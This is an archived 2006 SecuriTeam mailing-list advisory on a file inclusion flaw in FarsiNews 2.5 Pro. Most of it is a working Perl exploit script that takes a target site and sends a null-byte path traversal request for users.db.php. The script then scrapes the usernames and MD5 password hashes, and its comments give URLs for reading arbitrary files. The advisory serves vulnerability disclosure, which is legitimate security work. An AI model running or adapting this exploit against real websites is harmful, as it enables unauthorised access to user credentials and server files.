

[EXPL] FarsiNews Remote File Inclusion

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-03/msg00070.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 22 Mar 2006 16:50:54 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

FarsiNews Remote File Inclusion

SUMMARY

" <<http://www.farsinewsteam.com/>> FarsiNews is a News Publishing System"

Improper user input allows attackers to include arbitrary file .

DETAILS

Vulnerable Systems:

* FarsiNews version 2.5 Pro and prior

Exploit:

```
#!/usr/bin/perl
# << HESSAM-X >>
# FarsiNews 2.5Pro Exploi
# Exploit by Hessam-x (www.hessamx.net)
#Iran Hackerz Security Team
#WebSite: www.hackerz.ir
#
# Summery
# Name : FarsiNews [www.farsinewsteam.com]
# version : 2.5Pro
```

[EXPL] FarsiNews Remote File Inclusion

```
#####  
# in FarsiNews if you change the archive value :  
# http://localhost/index.php?archive=hamid  
# see :  
# Warning: file([PATH]/data/archives/hamid.news.arch.php):  
# failed to open stream: No such file or directory in  
[PATH]\inc\shows.inc.php on line 642  
# Warning: file([PATH]/data/archives/hamid.comments.arch.php):  
# failed to open stream: No such file or directory in  
[PATH]\inc\shows.inc.php on line 686  
# ...[and many other error]  
# it means that shows.inc.php try to open  
'/archives/hamid.news.arch.php' (and also 'hamid.comments.arch.php') to  
read it's data .  
# we can change the archive value to './users.db.php%00' to see all  
username and password .  
# Exploit :  
# http://localhost/index.php?archive=./users.db.php%00  
# http://localhost/Farsi1/index.php?archive=./\[file-to-read\]%00  
# F0und by hamid  
use LWP::Simple;  
  
print "-----\n";  
print "= Farsinews 2.5Pro =\n";  
print "= By Hessam-x - www.hackerz.ir =\n";  
print "-----\n\n";  
  
print "Target(www.example.com)\> ";  
chomp($targ = <STDIN>);  
  
print "Path: (/fn25/)\>";  
chomp($path=<STDIN>);  
  
$url = "index.php?archive=./users.db.php%00";  
$page = get("http://".\$targ.\$path.\$url) || die "[ - ] Unable to retrieve:  
$!";  
print "[+] Connected to: $targ\n";  
  
$page =~ m/<img alt="(.*?)" src=/ && print "[+] Username: $1\n";  
$page =~ m/style="border: none;" align="right" \>(.*?)</font>/ && print  
"[+] MD5 Password: $1\n";  
  
print "[ - ] Unable to retrieve User ID\n" if(!$1);  
#EoF
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:hessamx@xxxxxxxxxxxx>
hessamx.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.